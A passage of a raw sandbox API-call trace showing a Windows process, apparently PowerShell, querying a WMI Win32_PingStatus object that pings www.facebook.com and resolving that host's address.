This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a060*=0, plFlavor=0x227a064*=0 | out: pVal=0x572e598*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x227a060*=8200, plFlavor=0x227a064*=64) returned 0x0 [0136.746] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a094*=0, plFlavor=0x227a098*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x227a094*=8, plFlavor=0x227a098*=64) returned 0x0 [0136.746] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.746] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.746] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a0e0*=0, plFlavor=0x227a0e4*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x227a0e0*=8, plFlavor=0x227a0e4*=64) returned 0x0 [0136.746] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.746] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.746] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e598*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a12c*=0, plFlavor=0x227a130*=0 | out: pVal=0x572e598*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x227a12c*=8, plFlavor=0x227a130*=64) returned 0x0 [0136.746] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.746] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0136.746] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0136.746] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.747] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="address", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a368*=0, plFlavor=0x227a36c*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x227a368*=8, plFlavor=0x227a36c*=0) returned 0x0 [0136.747] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0136.747] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0136.747] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227a368*=8, plFlavor=0x227a36c*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x227a368*=8, plFlavor=0x227a36c*=0) returned 0x0 [0136.747] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0136.747] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0136.747] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e678*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e620 | out: ppResult=0x572e620*=0x5c86958*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c2b0*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0136.889] FreeAddrInfoW (pAddrInfo=0x5c86958*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c6c2b0*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0136.889] CoCreateGuid (in: pguid=0x572e738 | out: pguid=0x572e738*(Data1=0xa42f2b5a, Data2=0x963d, Data3=0x4ff4, Data4=([0]=0xa9, [1]=0x4c, [2]=0x5, [3]=0x59, [4]=0xc6, [5]=0x5b, [6]=0x5d, [7]=0xa7))) returned 0x0 [0136.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0136.889] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0136.890] EtwEventActivityIdControl () returned 0x0 [0136.890] EtwEventActivityIdControl () returned 0x0 [0136.890] EtwEventActivityIdControl () returned 0x0 [0136.890] EtwEventActivityIdControl () returned 0x0 [0136.890] EtwEventActivityIdControl () returned 0x0 [0136.890] EtwEventActivityIdControl () returned 0x0 [0136.891] QueryPerformanceCounter (in: lpPerformanceCount=0x572e354 | out: lpPerformanceCount=0x572e354*=1177786813136) returned 1 [0136.895] QueryPerformanceCounter (in: lpPerformanceCount=0x572e31c | out: lpPerformanceCount=0x572e31c*=1177787239037) returned 1 [0136.896] EtwEventActivityIdControl () returned 0x0 [0136.896] EtwEventActivityIdControl () returned 0x0 [0136.896] EtwEventActivityIdControl () returned 0x0 [0136.896] EtwEventActivityIdControl () returned 0x0 [0136.901] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0136.901] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0136.901] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.901] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0136.901] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0136.901] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.901] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0136.901] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0136.901] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0136.901] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0136.902] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.902] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.902] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.902] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.902] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.902] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.902] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.902] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.902] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.902] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.902] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.902] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.902] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.902] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.902] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.902] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.902] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.902] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.902] SysStringByteLen (bstr="__PATH") returned 0xc [0136.902] SysStringByteLen (bstr="__PATH") returned 0xc [0136.902] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22884d0*=0, plFlavor=0x22884d4*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22884d0*=3, plFlavor=0x22884d4*=64) returned 0x0 [0136.903] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288504*=0, plFlavor=0x2288508*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2288504*=8, plFlavor=0x2288508*=64) returned 0x0 [0136.903] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.903] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.903] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228855c*=0, plFlavor=0x2288560*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228855c*=8, plFlavor=0x2288560*=64) returned 0x0 [0136.903] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288584*=0, plFlavor=0x2288588*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2288584*=8, plFlavor=0x2288588*=64) returned 0x0 [0136.903] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.903] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.903] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22885dc*=0, plFlavor=0x22885e0*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22885dc*=8, plFlavor=0x22885e0*=64) returned 0x0 [0136.903] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.903] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.904] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22887bc*=0, plFlavor=0x22887c0*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22887bc*=3, plFlavor=0x22887c0*=64) returned 0x0 [0136.904] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22887f0*=0, plFlavor=0x22887f4*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e18*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22887f0*=8200, plFlavor=0x22887f4*=64) returned 0x0 [0136.904] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288824*=0, plFlavor=0x2288828*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2288824*=8, plFlavor=0x2288828*=64) returned 0x0 [0136.904] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.904] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.904] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288870*=0, plFlavor=0x2288874*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2288870*=8, plFlavor=0x2288874*=64) returned 0x0 [0136.904] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.904] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.905] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22888bc*=0, plFlavor=0x22888c0*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22888bc*=8, plFlavor=0x22888c0*=64) returned 0x0 [0136.905] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.905] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0136.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.905] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="BufferSize", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288af8*=0, plFlavor=0x2288afc*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2288af8*=19, plFlavor=0x2288afc*=0) returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0136.905] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.906] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0136.906] SafeArrayGetDim (psa=0x5c78de8) returned 0x1 [0136.906] SafeArrayGetDim (psa=0x5c78de8) returned 0x1 [0136.906] SafeArrayGetLBound (in: psa=0x5c78de8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0136.906] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.906] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.906] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.906] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.906] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.906] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.906] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.906] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.906] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.906] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.906] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.906] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.906] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.906] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.907] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.907] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.907] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.907] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.907] SysStringByteLen (bstr="__PATH") returned 0xc [0136.907] SysStringByteLen (bstr="__PATH") returned 0xc [0136.907] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288eac*=0, plFlavor=0x2288eb0*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2288eac*=3, plFlavor=0x2288eb0*=64) returned 0x0 [0136.907] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288ee0*=0, plFlavor=0x2288ee4*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2288ee0*=8, plFlavor=0x2288ee4*=64) returned 0x0 [0136.907] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.907] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.907] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288f38*=0, plFlavor=0x2288f3c*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288f38*=8, plFlavor=0x2288f3c*=64) returned 0x0 [0136.908] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288f60*=0, plFlavor=0x2288f64*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2288f60*=8, plFlavor=0x2288f64*=64) returned 0x0 [0136.908] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.908] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.908] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288fb8*=0, plFlavor=0x2288fbc*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2288fb8*=8, plFlavor=0x2288fbc*=64) returned 0x0 [0136.908] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.908] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0136.908] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289198*=0, plFlavor=0x228919c*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2289198*=3, plFlavor=0x228919c*=64) returned 0x0 [0136.908] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22891cc*=0, plFlavor=0x22891d0*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c687c8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22891cc*=8200, plFlavor=0x22891d0*=64) returned 0x0 [0136.909] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289200*=0, plFlavor=0x2289204*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2289200*=8, plFlavor=0x2289204*=64) returned 0x0 [0136.909] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.909] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.909] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228924c*=0, plFlavor=0x2289250*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x228924c*=8, plFlavor=0x2289250*=64) returned 0x0 [0136.909] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.909] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.909] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289298*=0, plFlavor=0x228929c*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2289298*=8, plFlavor=0x228929c*=64) returned 0x0 [0136.909] SysStringByteLen 